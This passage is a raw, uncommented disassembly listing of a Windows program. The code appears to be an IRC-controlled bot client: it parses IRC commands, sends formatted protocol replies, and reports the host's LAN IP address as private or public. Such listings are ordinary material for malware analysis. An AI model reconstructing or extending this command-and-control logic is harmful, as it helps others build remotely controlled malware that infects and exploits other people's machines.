asc_444600 ; " " push 3 push eax call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_444600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016B8 mov ecx, offset word_44AC6E mov byte ptr [esp+50h+arg_246C], bl call sub_40212B loc_410F72: ; CODE XREF: sub_410030+EF3j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_4E8E55 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_4113F7 push offset asc_444C74 ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C68 ; "!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017EE push eax lea ecx, [esp+24h+arg_25C] call sub_401870 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_4493FD mov [ebp+16h], bl call sub_4017EE push eax mov ecx, offset dword_4493B4 call sub_4017EE mov edx, dword_4490D4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_411080: ; CODE XREF: sub_410030+EC7j push offset asc_444600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F0 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411238 push offset asc_444C74 ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C68 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017EE push eax lea ecx, [esp+24h+arg_34] call sub_401870 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_444C64 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD mov esi, dword_511B04 push eax call esi ; strstr add esp, 8 test eax, eax jz loc_411223 push offset asc_444C64 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax call esi ; strstr add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401870 push offset byte_448F40 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41120F push offset byte_448F40 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41120F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014D3 mov ecx, offset word_44AC6E call sub_401CE4 cmp eax, ebx jz short loc_4111EB lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FDC loc_4111EB: ; CODE XREF: sub_410030+11A9j push offset byte_4E8E55 lea ecx, [esp+24h+arg_34] call sub_401B86 test eax, eax jnz short loc_41120F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E8E55 push edx call sub_401FDC loc_41120F: ; CODE XREF: sub_410030+1173j ; sub_410030+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411223: ; CODE XREF: sub_410030+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_411238: ; CODE XREF: sub_410030+109Cj push offset asc_444600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449100 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4112BF push offset asc_444600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449110 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4112C4 loc_4112BF: ; CODE XREF: sub_410030+1238j mov [esp+20h+var_D], 1 loc_4112C4: ; CODE XREF: sub_410030+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_4113F7 push offset asc_444C74 ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C68 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC6E call sub_401CE4 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4113F7 push offset asc_444C74 ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C68 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 push offset asc_444C74 ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_444C68 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC6E mov byte ptr [esp+50h+arg_246C], 37h call sub_40212B lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_4113F7 ; --------------------------------------------------------------------------- loc_4113F0: ; CODE XREF: sub_410030+391j mov ecx, ebp call sub_401D20 loc_4113F7: ; CODE XREF: sub_410030+1D3j ; sub_410030+253j ... cmp [ebp+17h], bl jnz loc_410072 loc_411400: ; CODE XREF: sub_410030+3Cj ; sub_410030+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_410030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411930 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411930 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402072 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411930 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4119B0: ; CODE XREF: ___:loc_40115Ej ; ___:004016F4j push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4119C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4119C8: ; CODE XREF: ___:004119BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4119E0 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4119E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401979 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4119E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A60 proc near ; CODE XREF: sub_402072j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B20 proc near ; CODE XREF: sub_401979j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411B20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411BE0 proc near ; CODE XREF: sub_4019E2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401979 test [esp+4+arg_0], 1 jz short loc_411BF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_411BF8: ; CODE XREF: sub_411BE0+Dj mov eax, esi pop esi retn 4 sub_411BE0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411C10 proc near ; CODE XREF: sub_401A19j var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411C10 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411C36 lea edi, [esi+11h] jmp short loc_411C38 ; --------------------------------------------------------------------------- loc_411C36: ; CODE XREF: sub_411C10+1Fj xor edi, edi loc_411C38: ; CODE XREF: sub_411C10+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019C4 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017EE lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_411C10 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C8C lea ebx, [esi+11h] jmp short loc_411C8E ; --------------------------------------------------------------------------- loc_411C8C: ; CODE XREF: ___:00411C85j xor ebx, ebx loc_411C8E: ; CODE XREF: ___:00411C8Aj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019C4 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017EE push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CEB lea ebx, [esi+11h] jmp short loc_411CED ; --------------------------------------------------------------------------- loc_411CEB: ; CODE XREF: ___:00411CE4j xor ebx, ebx loc_411CED: ; CODE XREF: ___:00411CE9j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017EE lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D40 lea ebx, [esi+11h] jmp short loc_411D42 ; --------------------------------------------------------------------------- loc_411D40: ; CODE XREF: ___:00411D39j xor ebx, ebx loc_411D42: ; CODE XREF: ___:00411D3Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017EE lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D95 lea ebx, [esi+11h] jmp short loc_411D97 ; --------------------------------------------------------------------------- loc_411D95: ; CODE XREF: ___:00411D8Ej xor ebx, ebx loc_411D97: ; CODE XREF: ___:00411D93j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019C4 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017EE push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DE8 lea ebx, [esi+11h] jmp short loc_411DEA ; --------------------------------------------------------------------------- loc_411DE8: ; CODE XREF: ___:00411DE1j xor ebx, ebx loc_411DEA: ; CODE XREF: ___:00411DE6j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019C4 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017EE lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E41 lea ebx, [esi+11h] jmp short loc_411E43 ; --------------------------------------------------------------------------- loc_411E41: ; CODE XREF: ___:00411E3Aj xor ebx, ebx loc_411E43: ; CODE XREF: ___:00411E3Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017EE lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E9F lea ebx, [esi+11h] jmp short loc_411EA1 ; --------------------------------------------------------------------------- loc_411E9F: ; CODE XREF: ___:00411E98j xor ebx, ebx loc_411EA1: ; CODE XREF: ___:00411E9Dj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017EE push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411EFA lea ebx, [esi+11h] jmp short loc_411EFC ; --------------------------------------------------------------------------- loc_411EFA: ; CODE XREF: ___:00411EF3j xor ebx, ebx loc_411EFC: ; CODE XREF: ___:00411EF8j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017EE lea edx, [esi+198h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411F55 lea ebx, [esi+11h] jmp short loc_411F57 ; --------------------------------------------------------------------------- loc_411F55: ; CODE XREF: ___:00411F4Ej xor ebx, ebx loc_411F57: ; CODE XREF: ___:00411F53j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017EE add esi, 13Ch push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4120B0 proc near ; CODE XREF: sub_401ACDj var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4120B0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_4125D9 lea ecx, [edi+26Dh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_4125D9 lea ecx, [edi+0A1h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4121B2 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017EE push eax mov ecx, esi call sub_4017EE mov edx, dword_4490D0 push eax push edx add edi, 0FFFFFFEFh push offset aSSS_1 ; "%s %s :%s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4121B2: ; CODE XREF: sub_4120B0+70j lea ecx, [edi+187h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412229 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_412229: ; CODE XREF: sub_4120B0+117j lea ecx, [edi+0FDh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122E4 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018B1 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412602 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4122E4: ; CODE XREF: sub_4120B0+18Ej lea ecx, [edi+12Bh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41238D push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_4490D4 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_4120B0+249j lea ecx, [edi+1B5h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_4123FB push offset asc_444600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017EE mov edx, dword_449100 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E24 add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4123FB: ; CODE XREF: sub_4120B0+2F2j lea ecx, [edi+23Fh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41245D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E47 mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017EE push eax add edi, 0FFFFFFEFh push offset aS_3 ; "%s\r\n" push edi call sub_401E24 add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_41245D: ; CODE XREF: sub_4120B0+360j lea ecx, [edi+1E3h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4124FD push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push 1 push offset asc_444600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014DD push eax mov ecx, esi call sub_4014DD xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4124FD: ; CODE XREF: sub_4120B0+3C2j lea ecx, [edi+159h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412602 push offset asc_444600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016B8 mov ebx, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_449104 push eax add edi, 0FFFFFFEFh push offset aSSSS ; "%s %s %s %s\r\n" push edi call sub_401E24 add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412602 ; --------------------------------------------------------------------------- loc_4125D9: ; CODE XREF: sub_4120B0+3Aj ; sub_4120B0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx call near ptr 71AB9639h nop mov ecx, offset word_44AC6E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401541 loc_412602: ; CODE XREF: sub_4120B0+FDj ; sub_4120B0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_4120B0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412780 proc near ; CODE XREF: sub_401D4Dj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_412780 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_40142E xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h nop call near ptr 71AB951Eh mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call sub_5F74D1 nop add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_448F40 call sub_4015E1 push offset aLan ; "lan: " lea ecx, [esp+54h+var_24] call sub_401AAF lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401AAF push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016C7 push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF lea ecx, [esp+50h+var_34] push ecx call sub_401483 add esp, 4 test al, al jz short loc_41288B push offset aPrivate ; "[PRIVATE]" jmp short loc_412890 ; --------------------------------------------------------------------------- loc_41288B: ; CODE XREF: sub_412780+102j push offset aPublic ; "[PUBLIC]" loc_412890: ; CODE XREF: sub_412780+109j lea ecx, [esp+54h+var_24] call sub_401AAF mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014D3 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_412780 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O 